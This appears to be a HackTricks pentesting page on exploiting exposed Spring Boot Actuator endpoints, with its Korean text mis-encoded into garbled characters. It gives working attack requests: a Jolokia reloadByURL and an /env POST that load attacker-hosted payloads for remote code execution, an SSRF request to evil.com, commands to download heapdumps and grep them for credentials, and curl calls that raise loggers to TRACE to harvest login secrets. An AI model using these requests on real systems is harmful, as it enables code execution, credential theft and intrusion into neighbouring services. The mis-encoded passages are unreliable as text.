Spring Actuators

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Exploiting Spring Boot Actuators

์›๋ฌธ ๊ฒŒ์‹œ๋ฌผ: [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

ํ•ต์‹ฌ ์š”์ :

  • Spring Boot Actuators๋Š” /health, /trace, /beans, /env ๋“ฑ๊ณผ ๊ฐ™์€ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋“ฑ๋กํ•ฉ๋‹ˆ๋‹ค. ๋ฒ„์ „ 1~1.4์—์„œ๋Š” ์ด๋Ÿฌํ•œ ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์ธ์ฆ ์—†์ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ–ˆ์Šต๋‹ˆ๋‹ค. 1.5๋ถ€ํ„ฐ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ /health์™€ /info๋งŒ ๋ฏผ๊ฐํ•˜์ง€ ์•Š์€ ๊ฒƒ์œผ๋กœ ์„ค์ •๋˜์ง€๋งŒ, ๊ฐœ๋ฐœ์ž๋“ค์ด ์ด ๋ณด์•ˆ์„ ์ข…์ข… ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • ์ผ๋ถ€ Actuator ์—”๋“œํฌ์ธํŠธ๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋…ธ์ถœํ•˜๊ฑฐ๋‚˜ ์œ ํ•ดํ•œ ๋™์ž‘์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.
  • Spring Boot 1.x์—์„œ๋Š” actuator๊ฐ€ ๋ฃจํŠธ URL์— ๋“ฑ๋ก๋˜๋ฉฐ, 2.x์—์„œ๋Š” /actuator/ ๋ฒ ์ด์Šค ๊ฒฝ๋กœ ์•„๋ž˜์— ๋“ฑ๋ก๋ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ๊ธฐ๋ฒ•:

  1. Remote Code Execution via โ€˜/jolokiaโ€™:
  • The /jolokia actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
  • The reloadByURL action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
  • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via โ€˜/envโ€™:
  • If Spring Cloud Libraries are present, the /env endpoint allows modification of environmental properties.
  • Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
  • Example exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. ๊ธฐํƒ€ ์œ ์šฉํ•œ ์„ค์ •:
  • spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, ๋ฐ spring.datasource.tomcat.max-active ๊ฐ™์€ ์†์„ฑ์€ SQL injection์ด๋‚˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—ฐ๊ฒฐ ๋ฌธ์ž์—ด ๋ณ€๊ฒฝ ๋“ฑ ๋‹ค์–‘ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ถ”๊ฐ€ ์ •๋ณด:

  • A comprehensive list of default actuators can be found here.
  • Spring Boot 2.x์˜ /env ์—”๋“œํฌ์ธํŠธ๋Š” ์†์„ฑ ์ˆ˜์ •์„ ์œ„ํ•ด JSON ํ˜•์‹์„ ์‚ฌ์šฉํ•˜์ง€๋งŒ, ๊ธฐ๋ณธ ๊ฐœ๋…์€ ๋™์ผํ•ฉ๋‹ˆ๋‹ค.

๊ด€๋ จ ์ฃผ์ œ:

  1. Env + H2 RCE:
  • /env ์—”๋“œํฌ์ธํŠธ์™€ H2 ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ์กฐํ•ฉ์„ ์ด์šฉํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  1. ๊ฒฝ๋กœ ์ด๋ฆ„ ํ•ด์„ ์˜ค๋ฅ˜๋ฅผ ํ†ตํ•œ Spring Boot SSRF:
  • HTTP ๊ฒฝ๋กœ๋ช…์—์„œ matrix parameters (;)๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” Spring ํ”„๋ ˆ์ž„์›Œํฌ์˜ ๋ฐฉ์‹์€ Server-Side Request Forgery (SSRF)์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Example exploit request:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

๋งŒ์•ฝ /actuator/heapdump๊ฐ€ ๋…ธ์ถœ๋˜์–ด ์žˆ๋‹ค๋ฉด, ๋ณดํ†ต DB ์ž๊ฒฉ์ฆ๋ช…, API ํ‚ค, Basic-Auth, ๋‚ด๋ถ€ ์„œ๋น„์Šค URL, Spring ํ”„๋กœํผํ‹ฐ ๋งต ๋“ฑ๊ณผ ๊ฐ™์€ ์‹ค์‹œ๊ฐ„ ๋น„๋ฐ€์„ ํฌํ•จํ•œ ์ „์ฒด JVM ํž™ ์Šค๋ƒ…์ƒท์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Download and quick triage:
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Deeper analysis with VisualVM and OQL:
  • Open heapdump in VisualVM, inspect instances of java.lang.String or run OQL to hunt secrets:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Automated extraction with JDumpSpider:
java -jar JDumpSpider-*.jar heapdump

Typical high-value findings:

  • Spring DataSourceProperties / HikariDataSource objects exposing url, username, password.
  • OriginTrackedMapPropertySource entries revealing management.endpoints.web.exposure.include, service ports, and embedded Basic-Auth in URLs (e.g., Eureka defaultZone).
  • Plain HTTP request/response fragments including Authorization: Basic ... captured in memory.

ํŒ:

  • SecLists์˜ spring-boot.txt์™€ ๊ฐ™์ด Spring์— ์ดˆ์ ์„ ๋งž์ถ˜ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ๋ฅผ ์‚ฌ์šฉํ•ด actuator ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋น ๋ฅด๊ฒŒ ์ฐพ์•„๋ณด์„ธ์š”. ๋˜ํ•œ /actuator/logfile, /actuator/httpexchanges, /actuator/env, /actuator/configprops๋„ ๋…ธ์ถœ๋˜์–ด ์žˆ๋Š”์ง€ ํ•ญ์ƒ ํ™•์ธํ•˜์„ธ์š”.
  • heapdump์—์„œ ์–ป์€ ์ž๊ฒฉ์ฆ๋ช…์€ ์ธ์ ‘ํ•œ ์„œ๋น„์Šค๋‚˜ ๋•Œ๋กœ๋Š” ์‹œ์Šคํ…œ ์‚ฌ์šฉ์ž(SSH)์—๋„ ์œ ํšจํ•œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์œผ๋ฏ€๋กœ ํญ๋„“๊ฒŒ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”.

Abusing Actuator loggers/logging to capture credentials

๋งŒ์•ฝ management.endpoints.web.exposure.include๊ฐ€ ํ—ˆ์šฉํ•˜๊ณ  /actuator/loggers๊ฐ€ ๋…ธ์ถœ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ธ์ฆ๊ณผ ์š”์ฒญ ์ฒ˜๋ฆฌ๋ฅผ ๋‹ด๋‹นํ•˜๋Š” ํŒจํ‚ค์ง€๋“ค์˜ ๋กœ๊ทธ ๋ ˆ๋ฒจ์„ ๋™์ ์œผ๋กœ DEBUG/TRACE๋กœ ์˜ฌ๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. /actuator/logfile์ด๋‚˜ ์•Œ๋ ค์ง„ ๋กœ๊ทธ ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•ด ๋กœ๊ทธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ƒํƒœ์™€ ๊ฒฐํ•ฉํ•˜๋ฉด ๋กœ๊ทธ์ธ ํ๋ฆ„ ์ค‘ ์ œ์ถœ๋œ ์ž๊ฒฉ์ฆ๋ช…(์˜ˆ: Basic-Auth ํ—ค๋”๋‚˜ ํผ ํŒŒ๋ผ๋ฏธํ„ฐ)์ด ๋…ธ์ถœ๋˜์–ด leak๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Enumerate and crank up sensitive loggers:
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Find where logs are written and harvest:
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • ๋กœ๊ทธ์ธ/์ธ์ฆ ํŠธ๋ž˜ํ”ฝ์„ ์œ ๋ฐœ์‹œํ‚ค๊ณ  ๋กœ๊ทธ์—์„œ ์ž๊ฒฉ์ฆ๋ช…์„ ํŒŒ์‹ฑํ•˜์„ธ์š”. Gateway๊ฐ€ ์ธ์ฆ ์•ž๋‹จ์„ ๋‹ด๋‹นํ•˜๋Š” ๋งˆ์ดํฌ๋กœ์„œ๋น„์Šค ํ™˜๊ฒฝ์—์„œ๋Š” gateway/security ํŒจํ‚ค์ง€์— ๋Œ€ํ•ด TRACE๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉด ํ—ค๋”์™€ ํผ ๋ฐ”๋””๊ฐ€ ๋…ธ์ถœ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ ํ™˜๊ฒฝ์€ ์ฃผ๊ธฐ์ ์œผ๋กœ ํ•ฉ์„ฑ ๋กœ๊ทธ์ธ ํŠธ๋ž˜ํ”ฝ์„ ์ƒ์„ฑํ•˜๊ธฐ๋„ ํ•˜๋ฏ€๋กœ, ๋กœ๊ทธ๋ฅผ ์ž์„ธํ•˜๊ฒŒ ์„ค์ •ํ•˜๋ฉด ์ˆ˜์ง‘์ด ๋งค์šฐ ์‰ฌ์›Œ์ง‘๋‹ˆ๋‹ค.

๋…ธํŠธ:

  • ๋๋‚œ ํ›„ ๋กœ๊ทธ ๋ ˆ๋ฒจ์„ ์ดˆ๊ธฐํ™”ํ•˜์„ธ์š”: POST /actuator/loggers/<logger>์— { "configuredLevel": null } ์ „์†ก.
  • /actuator/httpexchanges๊ฐ€ ๋…ธ์ถœ๋˜์–ด ์žˆ๋‹ค๋ฉด ๋ฏผ๊ฐํ•œ ํ—ค๋”๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ์ตœ๊ทผ ์š”์ฒญ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ